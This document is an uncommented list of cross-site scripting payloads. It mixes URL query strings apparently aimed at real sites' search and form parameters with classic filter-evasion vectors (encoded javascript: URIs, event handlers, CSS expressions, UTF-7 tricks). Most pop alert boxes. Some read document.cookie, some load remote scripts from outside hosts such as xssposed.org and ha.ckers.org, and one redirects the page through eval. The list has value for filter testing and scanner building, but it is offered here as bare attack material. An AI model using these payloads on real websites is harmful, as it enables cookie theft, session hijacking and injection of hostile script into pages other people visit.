&i=mandelbrot&a=*C.mandelbrot-_*Formula.dflt-&f2=-0.5&f=MandelbrotSet.rec_-0.5&f3=666&f=MandelbrotSet.imc_666%22%20alt=%22MandelbrotSet.imc%22%20%20name=f3%20/%3E%3Cbody%20onload=alert%28%22XSS%22%29%3E%3Cspan
&iama=' onmouseover='alert("XSS")' style="position:absolute;top:0;left:0;width:100%;height:100%;background:url('http://is.gd/rc7syX')" name='
&ics_src=%22%3E%3Cimg%20src=%22http://tinyurl.com/yjmg7z9%22%20onload=%22alert%28document.cookie%29%22%3E
&id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
&id=%22/%3E%3CEMBED%20SRC=%22//reddit.com/r/xss%22%20width='500'%20height='500'''%3E%3C/EMBED%3E
&id=%22/%3E%3Cscript%20src=https://xssposed.org/1.js
&id=%27;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//\\%27;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//%22;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//\\%22;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29%3C/SCRIPT%3E
&id=0205"><script>alert(String.fromCharCode(88,83,83))</script>
&id=1&cat=<script>alert('pleasephotomyface')</script>
&id=101;alert('xss')
&id=11
&id=244090"><script>alert(String.fromCharCode(88,83,83))</script>
&id=2869&action=register&redirectfullurl=%22%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E%3Ca
&id=3944&qt=%22%29;%20alert%28%22XSS
&id=396&rub=11"><script>alert(document.cookie)</script>
&id=403/403478&key=2&query=%3C/script%3E%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
&id=9437&tref=A%22%29;%20alert%28%22XSS%22%29;%20//
&id_menu=%22%3E%3Csvg/onload=alert%28/xssposed/%29%20%3E
&ie=utf8&site=CBC&output=xml_no_dtd&getfields=description&oe=utf8&safe=high&q=%27;alert%280%29//\\%27;
&img=%27%3C/script%3E%3Ch1%20style=%27font-size:200px;color:red;position:absolute;top:0px;left:0px;background-color:black%27%3EXSS%3C/h1%3E
&includePage=0103020000e.cfm&idToOpen=2420&ThisStartResultPage=4&ThisPage="<marquee><img src=k onerror=alert("XSS") />
&intcmp=nws-hd-srch&searchTerm=%3Cbody%20onload=alert(document.cookie)%3E
&issue=%22+onfocus=if%28!this.a%29{alert%28String.fromCharCode%2888,83,83%29%29;this.a=1;}//%20AUTOFOCUS=%22&id_prd=-1&id_pty=-1&type=3&stype=1&MM_submit=Perform+search
&js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&sl=zh-CN&tl=en&u=http://www.govsb.org/blog/306.html
&k="><script>alert('0');</script>
&k=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
&k=<script>alert('XSS');</script>&s=Entire+Site
&keys=%27%22%3E%3C%2Ftitle%3E%3Cscript%3E+alert%28%22XSSPOSED%22%29%3C%2Fscript%3E%3E%2F
&keyword="><script>alert('XSS')</script>
&keyword=%22%3E%3C/input%3E%3Cscript%3Ealert%28%22XSS%22%29%3B%3C/script%3E%3Cinput%20type%3D%22text
&keyword=%22%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E
&keyword=%22%3EXSS%3Csvg/onload=alert%28/xssposed/%29%3E&fname=&lname=&unit=&submit=Search
&keyword=%22;alert%28%27XSS%27%29;//
&keyword=%22\\%3E%3Cimg%20src=x%20onerror=alert(0)%3E%3Ciframe%20src=http://www.reddit.com/r/xss%20height=800%20width=600%3E%3C/input&what=all&search_btn.x=0&search_btn.y=0
&keyword=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F
&keyword=%3B!--%22%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E%3D%26{%28%29}
&keyword=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
&keyword=XSS%22autofocus%2FXSS%2Fonfocus%3D%22alert%28%2FXSSPOSE%2F%29
&keyword=k61161&pageid=icb.page316368&pageContentId=icb.pagecontent828781&view=view.do&state=maximize&viewParam_q=<script>alert('0');</script>
&keyword=zina"><script src="http://www.yourjavascript.com/38310202111/xss.js">&Search=++++++&winestyle=&grapevariety=&wineRegion=&winePrice=
&keywords="+type="image"+src='http://static.reddit.com/reddit.com.header.png'
&keywords=%22%2f%3E%3Cscript%3Ealert%28%27xss%27%29%3b%3C%2fscript%3E
&keywords=%22%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E%22&submit=Search+Again
&keywords=%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cimg+src%3D%22
&keywords=%22%3E%3Cscript+type%3D%22text/javascript%22%3Ealert(%22Hello,+/r/XSS%22);%3C/script%3E&x=0&y=0&search_section=products
&keywords=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F&per_page=15
&keywords=%3Cscript%3Ealert(0)%3C/script%3E
&keywords='<script>alert(String.fromCharCode(88,83,83))</script>
&keywords=--%3E%3C/script%3E%3Cscript%20%0D%0A%3Ealert%28/XSSPOSED/%29%3b%3C/script%3E
&kid=TTB2
&kw=%27;alert%28%27XSS%27%29;//
&l-id=gb_category_search
&l=eaedfaedae%22);}alert('xss');{//
&l=sem&ifr=1&qsrc=999&q=%22%3E%3Cscript%3Ealert(%22O%22)%3C%2Fscript%3E&siteid=15142&o=15142&ar_uid=92870BDC-560E-4FB3-A36E-5798824C02D1&click_id=C48A76B3-2E24-4D2D-9F9E-815DD58C9203
&lang=%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E
&lang=en&page=49&tbmonth=09&tblng=1&tbyear=2010'%22%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E&tbfrom=0&tbto=30
&lang=en_GB&word1=%3CIMG+SRC%3Dhttp%3A%2F%2Fbestuff.com%2Fimages%2Fimages_of_stuff%2F64x64crop%2Fdavid-hasselhoff-6442.jpg%3F1173013118%3E&word2=good%20taste
&language=1%3C/textarea%3E%3CScRiPt%20%0A%0D%3Ealert%28unescape%28/brb%2c%20mysql%20manual/.source%29%29%3B%3C/ScRiPt%3E
&latitude=&city=&zip=&longitude=&state=&lonlatRequired=N&keyWord="><script>alert%28"XSS"%29</script>&address=&country=AF&pageDropDown=1&sortType=DEFAULT&sortType=5&countryCd=AF&countryName=AFGHANISTAN
&lingua=it%22----%3E%3E%27%27%3E%3Cscript%3Eprompt%28%27XSSPOSED%27%29%3C/script%3E
&list="><script>alert(String.fromCharCode(88,83,83))</script>
&list=PLpr-xdpM8wG-ZTcHhFfAeBthNVZVEtkg9
&locale=en_US&gameId=1;alert%28%27xssd%27%29;
&localeCode=en_US&complexSearchField=%27%22%3E%3C%2Ftitle%3E%3Cscript%3E+alert%28%22XSSPOSED%22%29%3C%2Fscript%3E%3E%2F&searchType=&propertyIds=&arrivalDate=&departureDate=
&location=<script>alert("xss");</script>&panel=poi&submit=Show+map&intCam=intViewAMapOf
&lsort=speaker&day=9%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert%28%22XSS%22%29%3C/script%3E&conference=interactive&a=a
<<SCRIPT>alert(1);//<</SCRIPT>
</TITLE><SCRIPT>alert(1);</SCRIPT>
<?import namespace="t" implementation="#default#time2">
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<A HREF="//127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
<A HREF="h
tt	p://6&#9;6.000146.0x7.147/">X</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">X</A>
<A HREF="http://0102.0146.0007.00000223/">X</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">X</A>
<A HREF="http://1113982867/">X</A>
<A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
<A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html./">X</A>
<A HREF="http://www.keralacyberhttp://www.keralacyberforce.in/force.in/">X</A>
<A HREF="javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'">X</A>
<A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A>
<BASE HREF="javascript:alert(1);//">
<BGSOUND SRC="javascript:alert(1);">
<BODY BACKGROUND="javascript:alert(1)">
<BODY ONLOAD=alert(1)>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1)>
<BR SIZE="&{alert(1)}">
<DIV STYLE="background-image: url(&#1;javascript:alert(1))">
<DIV STYLE="background-image: url(javascript:alert(1))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert(1));">
<EMBED SRC="data:image/svg+xml;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-
<IFRAME SRC="javascript:alert(1);"></IFRAME>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<IMG LOWSRC="javascript:alert(1)">
<IMG SRC=" &#14; javascript:alert(1);">
<IMG SRC="jav	ascript:alert(1);">
<IMG SRC="jav&#x09;ascript:alert(1);">
<IMG SRC="jav&#x0A;ascript:alert(1);">
<IMG SRC="jav&#x0D;ascript:alert(1);">
<IMG SRC="javascript:alert(1)"
<IMG SRC="javascript:alert(1);">
<IMG SRC="livescript:[code]">
<IMG SRC="mocha:[code]">
<IMG SRC='vbscript:msgbox(1)'>
<IMG SRC=JaVaScRiPt:alert(1)>
<IMG SRC=`javascript:alert("Kerala Cyber Force says, 'X'")`>
<IMG SRC=javascript:alert(&quot;X&quot;)>
<IMG SRC=javascript:alert(1)>
<IMG SRC=javascript:alert(String.fromCharCode(75,67,70))>
<IMG STYLE="X:expr/*X*/ession(alert(1))">
<IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
<INPUT TYPE="IMAGE" SRC="javascript:alert(1);">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert(1)&lt;/SCRIPT&gt;">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1);">
<OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1:3555/xss_serve_payloads/X.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(1)></OBJECT>
<SCRIPT>a=/X/
<SCRIPT>alert(1);</SCRIPT>
<SCRIPT/X SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT/X SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<STYLE TYPE="text/javascript">alert(1);</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE>
<STYLE>.X{background-image:url("javascript:alert(1)");}</STYLE><A CLASS=X></A>
<STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
<STYLE>li {list-style-image: url("javascript:alert('X')");}</STYLE><UL><LI>X
<TABLE BACKGROUND="javascript:alert(1)">
<TABLE><TD BACKGROUND="javascript:alert(1)">
<X STYLE="X:expression(alert(1))">
<XML ID=0><I><B>&lt;IMG SRC="javas<!-- -->cript:alert(1)"&gt;</B></I></XML>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(1);">]]>
<iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html <
<script>alert('1');</script>
<script>alert('123');</script>
<script>prompt('1')</script>
<t:set attributeName="innerHTML" to="X&lt;SCRIPT DEFER&gt;alert(&quot;X&quot;)&lt;/SCRIPT&gt;">
&m=%3Cscript%3E%20alert%20%28%27XSSPOSED%27%29;%20%3C/script%3E
&m=02&y=%3CSCRIPT%20SRC=http://xss.jgate.de/world.js%3E%3C/SCRIPT%3E
&m=search&o=%22%2f%3E%3Cscript%3Ealert%28%27xss%27%29%3b%3C/script%3E
&md5=8780800e375e1ec86cb11a076dffcb61
&method=%22;alert(%22XSS%22);//&q=XSS&q2=&q3=&q4=&c=en_US&results=10
&method=email&error=%22%3E%3Cscript%3Ealert%28String.fromCharCode%2888,%2083,%2083,%2080,%2079,%2083,%2069,%2068%29%29;%3C/script%3E
&mode=singleimage&handle=AdamGirard&number=%22%3E%3Cscript%3Ealert%28%22XSSPOSED%22%29%3C/script%3E
&mode=try&partner=Shopify&country=%22%3E%3Cimg%20src=x%20onerror=prompt%28/@The_Pr0ph3t/%29;%3E
&month=12&year=1%22+onmouseover=alert%28String.fromCharCode%2873,108,32,68,65,84,79,32,73,78,32,67,79,83,84,82,85,90,73,79,78,69,44,32,70,70,83%29%29+
&month=dec&yr="><script>alert(document.cookie)</script>
&movieid=681&refid=&subkey="><script>alert('XSS')</script>
&msg=/></script><script>alert('0');</script>&typ=sys
&msg_id=%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E
&name111=%22\\%3E%3Cscript%3Ealert(0)%3C/script%3E
&name=%27;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//\\%27;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//%22;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//\\%22;alert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2871,117,105,100,111,90,32,88,83,83%29%29%3C/SCRIPT%3E&size=XSS-by-GuidoZ
&name=Search&action=search&overview=1&bool=AND&active_polling%0D%0Aweblinks=1&active_address_book=1&active_consultation=1&active_forum=1&active_requirements=1&active_calendar=1&active_guestbook=1&active_questionnaire=1&active_seminar=1&active_stories=1&active_downloads=1&active_users=1&active_subjects=1&q=1%22+onmouseover=alert%28String.fromCharCode%2872,101,108,108,111,32,87,111,114,108,100,33%29%29+&search=&search_area=all
&nameCodeText="><img+src=x+onerror=prompt('XSSPOSED')>&searchType=searchForNameCode&nameCode="><img+src=x+onerror=prompt('XSSPOSED')>&text=&rnsSubmitButton=Search&activatedFilters=false&newsSource=ALL&mostRead=&headlineCode=ONLY_EARNINGS_NEWS&headlineId=&ftseIndex=§orCode=&rbDate=released&preDate=Today&newsPerPage=20
&ncid="><script>alert('XSS')</script>
&newsCategory="'/><script>alert('XSS')</script>
&nftype=empty&queryText=%22;+alert%28%22XSS%22%29;//&_requestid=305979
&nftype=empty&site_id=InformationWeek&queryText=%22%3Balert%28%27XSS%27%29%3B//&_requestid=116467
&nid=220&query=%22%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,88,83,83,39,41%29%29;%3C/script%3E&x=23&y=8
&node=--><svg><script><!>alert("XSS")</script>
&num=6'%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
&o=%22%3E%3Cscript%3Evar%20asd='&id=';alert(document.cookie)%3C/script%3E&c=1&v=2&xc=A7E3B9E1#
&o=&q=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27lol+porn+xss%27%29%3B%3C%2Fscript%3E
&o=v&page=%3Cscript%20src=https://xssposed.org/1.js%3E%3C/script%3E&menu=111-222-1933bbq@bbq.bbq&site=assparade
&offer="/><script>alert('JavaScript causes cancer')</script><br
&op=%3C/h3%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%22Derp%22);%3C/script%3E
&opc=2"><script>alert(String.fromCharCode(88,83,83))</script>
&output=xml_no_dtd&client=default_frontend&proxystylesheet=default_frontend&q=Test%27-alert%28%27XSSPOSED%27%29-%27
&p=2&q=wine"><script src="http://www.yourjavascript.com/38310202111/xss.js">&x=0&y=0
&p=37
&p=Search%22%3E%3Cscript%3Ealert%28%22Tom%20Coburn:%20International%20A**hole%20of%20Mystery%22%29;%3C/script%3E%3Cimg%20src=%22http://img404.imageshack.us/img404/9195/coburnaustinpowers.jpg%22%20style=%22position:absolute;top:100;%22%20%3E%3Cdiv%20%20&filter=0&num=10&q=
&p=foglia_giochi_1&sezione=pub&sottosezione="><script>alert('XSS')</script>
&page=%22%3E%3CScRipT%3Ealert%28/xssposed/%29%3C%2FScrIpT%3E
&page=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E%22
&page=1&query=;!--%22%3Ciframe+src%3D'http://reddit.com/r/xss'+width%3D'1024'+height%3D'600'%3E%3C/iframe%3E
&page=answers&type=search&searchid=%22%3Cmarquee%3E%3Cimg+src%3D%27http%3A%2F%2Fstatic.reddit.com%2Freddit.com.header.png%27%2F%3E%3C/marquee%3E
&page=answers&type=search&searchid=1260543686413&question_box=rddt%3Cbody%20onload=alert%28document.cookie%29%3Erddt&ichbox[]=en-US
&page=search&Searchset=3&SearchString=%22><script>alert%28%22XSS%22%29</script><div%20%22
&page=servicefaq&geo='-location.replace('//1653309246')-'&product=ipad
&pageAction=search&text=%3C/script%3E%3Cscript%3Ealert%280%29;%3C/script%3E
&pageSection=free_home_game_search&pogoword=%27%29;alert%28/xss/.source%29;//
&page_function=search&keyword=x=eval%28eval%28eval%28eval%28eval%29%29%29,%20alert%28/1/%3C/xmp%3E%22%22%3E%3E%3C%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E%3C!--%29%29;x=eval%28x%29&x=17&y=10
&page_id=4046&portal_prefix="><script>alert('XSS')</script>
&page_id=6&td_id=200800024"><script>alert(document.cookie)</script>
&pageid=198&search=1&teams=</script>">'><script>alert(String.fromCharCode(88,83,83))</script>
&partNumber=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
&payphone=977&country=%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
&pdf=NOOOO&state=ANY%20TEXT%20HERE&st=1%3Cscript%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/script%3E
&phish_id=%22%3E%3Cinput%20type=submit%20value=CLICK%A0HERE%A0TO%A0TRIGGER%A0XSS!%20onClick=confirm%28navigator.userAgent%29;alert%28/XSS%A0EXAMPLE/.source%29;eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,97,115,115,105,103,110,40,34,104,116,116,112,58,47,47,110,121,97,110,46,99,97,116,34,41));BODY%20BGCOLOR=%22#111111%22%3E
&photo_num=9%22;alert('xss');//
&pid=11452087&cat=438&msort=rebatedesc&mnpos="><script>alert('XSS')</script>
&popup=%3C/script%3E%3Cscript%3Ealert%28/XSSPOSED/%29;%3C/script%3E
&product=edpr&additional="><script>alert(String.fromCharCode(88,83,83))</script>
&product=prints&q=%22-confirm%28/XSSPOSED/%29-%22
&productPageUrl="><script>alert(String.fromCharCode(88,83,83))</script>
&proxystylesheet=DCUK&site=ukDiscovery&client=DCUK®ion=uk&output=xml_no_dtd&getfields=*&filter=1&ie=utf8&oe=utf8&q=%22;+alert%28%22XSS%22%29;//&searchbtn=go
&pscNotFound=Y&actualRadius=15&ErrorMsg=';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//%22;alert(String.fromCharCode(88,83,83))//\\%22;alert(String.fromCharCode(88,83,83))//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E+';alert(String.fromCharCode(88,83,83))//\\';alert(S+LA+90210&address_selected=';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//%22;alert(String.fromCharCode(88,83,83))//\\%22;alert(String.fromCharCode(88,83,83))//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E&city_selected=';alert(String.fromCharCode(88,83,83))//\\';alert(S&facility_type=GLUCOSE+TOLERANCE&employment=&radius_selected=15&search_by_state=&state_selected=LA&zip_selected=90210&service_types=1&flow_from=patient&&call_from=hcp_psc_srch_results.jsp&browser=nonie&view_reload=Y
&q0=%22;alert%28%27XSS%27%29;//
&q="><script>alert("xss")</script>
&q="><script>alert('XSS')</script>
&q="><script>alert(String.fromCharCode(88,83,83))</script>
&q=%22%20style=%22visibility:hidden%22%3E%3C/iframe%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E%3Ciframe style=%22visibility:hidden%22%3E&btnG.x=0&btnG.y=0&btnG=Go&entqr=0&ud=1&sort=date:D:L:d1&output=xml_no_dtd&oe=UTF-8&ie=UTF-8&client=result_only&proxystylesheet=result_only&site=ng
&q=%22%20style=background:red;left:0;top:0;height:500px;width:500px;position%20:absolute;z-index:1000%20onmouseover=alert(/XSSPOSED/)%20%22
&q=%22%29%3B+alert%281%29%3B+%2F%2F&aff=1100
&q=%22%2balert%28%22XSS%22%29%2b%22&ref=index
&q=%22%3Cscript%3E+alert%28%22XSSPOSED%22%29%3C%2Fscript%3E%3E
&q=%22%3Cscript%3Ealert%28%22HA!%22%29;%3C/script%3E%3Cp
&q=%22%3E%27%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E
&q=%22%3E%3C/script%3E%3Cbody%20onload=alert(%22XSS%22)%3E
&q=%22%3E%3C/title%3E%3Cscript%3E%28alert%29%28%22XSSPOSED%22%29%3C%2Fscript%3E%3E%2F&prefn1=brand&prefv1=carters
&q=%22%3E%3CA+onmouseover%3Dalert%28%2FXSSPOSED%2F%29%3EXSS%2C+needs+to+be+fixed+ASAP%3C%2Fa%3E&type=Deseret+News&submit=Search
&q=%22%3E%3Cbody%20onload=alert%28/XSS/.source%29%3E
&q=%22%3E%3Cbody/onpageshow=%28alert%29%28/XSSPOSED/%29%3E&kw=lol&x=0&y=0
&q=%22%3E%3Cscript%3E+-+-1-+-+alert%28/XSSPOSED/%29%3C/script%3E
&q=%22%3E%3Cscript%3E+alert%28%22XSSPOSED%22%29%3C/script%3E%3E/
&q=%22%3E%3Cscript%3Ea=eval;b=alert;a%28b%28/XSSPOSED/.source%29%29;%3C/script%3E%3E/&l=
&q=%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E
&q=%22%3E%3Cscript%3Ealert%28%22o%22%29%3C%2Fscript%3E
&q=%22%3E%3Cscript%3Ealert%28/XSS%20by%20CyberVillian/%29;%3C/script%3E
&q=%22%3E%3Cscript/xss%3Ealert%28/XSSPOSED/%29%3C/script/xss%3E
&q=%22%3E%3Csvg%2Fonload%3Dalert%28%2FXSSPOSED%2F%29%3E%3C!-+-
&q=%22%3Exss%3Cvideo/poster/onerror=prompt%28/XSSPOSED/%29%3E
&q=%22--%3E%3C/script%3E%3Cscript%20src=%22http://ha.ckers.org/xss.js%22%20type=%22text/javascript%22%3E%3C/script%3E%3Cscript%3E\\&cc=us&lang=en
&q=%22;alert%28%27XSS%27%29;//&sort=date%3AD%3AS%3Ad1&entsp=a&client=redesign_frontend&entqr=0&oe=UTF-8&ud=1&getfields=*&proxystylesheet=redesign_frontend&output=xml_no_dtd&site=default_collection&filter=p&search_submit=Search
&q=%22;alert%280%29//&proxystylesheet=sp-us&site=sp-us
&q=%22\\%3E%3Cimg+src%3Dx+onerror%3Dalert(0)%3E
&q=%22ri%22-alert(%22XSS%22)-%22lo%22
&q=%22};%20alert(%22XSS%22);%3C/script%3E
&q=%2522%252F%253E%253Cscript%253Ealert%2528%2522XSS%2522%2529%253C%252Fscript%253E%253Cdiv+id%253D%2522
&q=%2527%3balert%28/XSSPOSED%29//\\%2527%3balert%281%29//%2522%3balert%28/XSSPOSED/%29//\\%2522%3balert%283%29//--%253E%253C/SCRIPT%253E%2522%253E%2527%253E%253CSCRIPT%253Ealert%28/XSSPOSED/%29%253C/SCRIPT%253E=&{}%2522%29%3b}alert%286%29%3bfunction+xss%28%29{//&q=%2527%3balert%280%29//\\%2527%3balert%281%29//%2522%3balert%282%29//\\%2522%3balert%283%29//--%253E%253C/SCRIPT%253E%2522%253E%2527%253E%253CSCRIPT%253Ealert%28/XSSPOSED/%29%253C/SCRIPT%253E=&{}%2522%29%3b}alert%286%29%3bfunction+xss%28%29{//
&q=%27%22%3E%3C%2Ftitle%3E%3Cscript%3E+alert%28%22XSSPOSED%22%29%3C%2Fscript%3E%3E%2F&sort=newest&date-range=any&type=all§ion=all
&q=%27%29;alert%28%27XSS%27%29;//
&q=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%28/XSSPOSED/%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F
&q=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F
&q=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F&header_submit=&src=usergen&ac=
&q=%27%3E%3C/script%3E%3Cscript%3Ejavascript:alert(/XSSPOSED/)%3C/script%3E
&q=%27;//\\%22;alert%280%29//--%3E%3C/script%3E%22%3E%27%3E%3Cscript%3Ealert%280%29%3C/script%3E
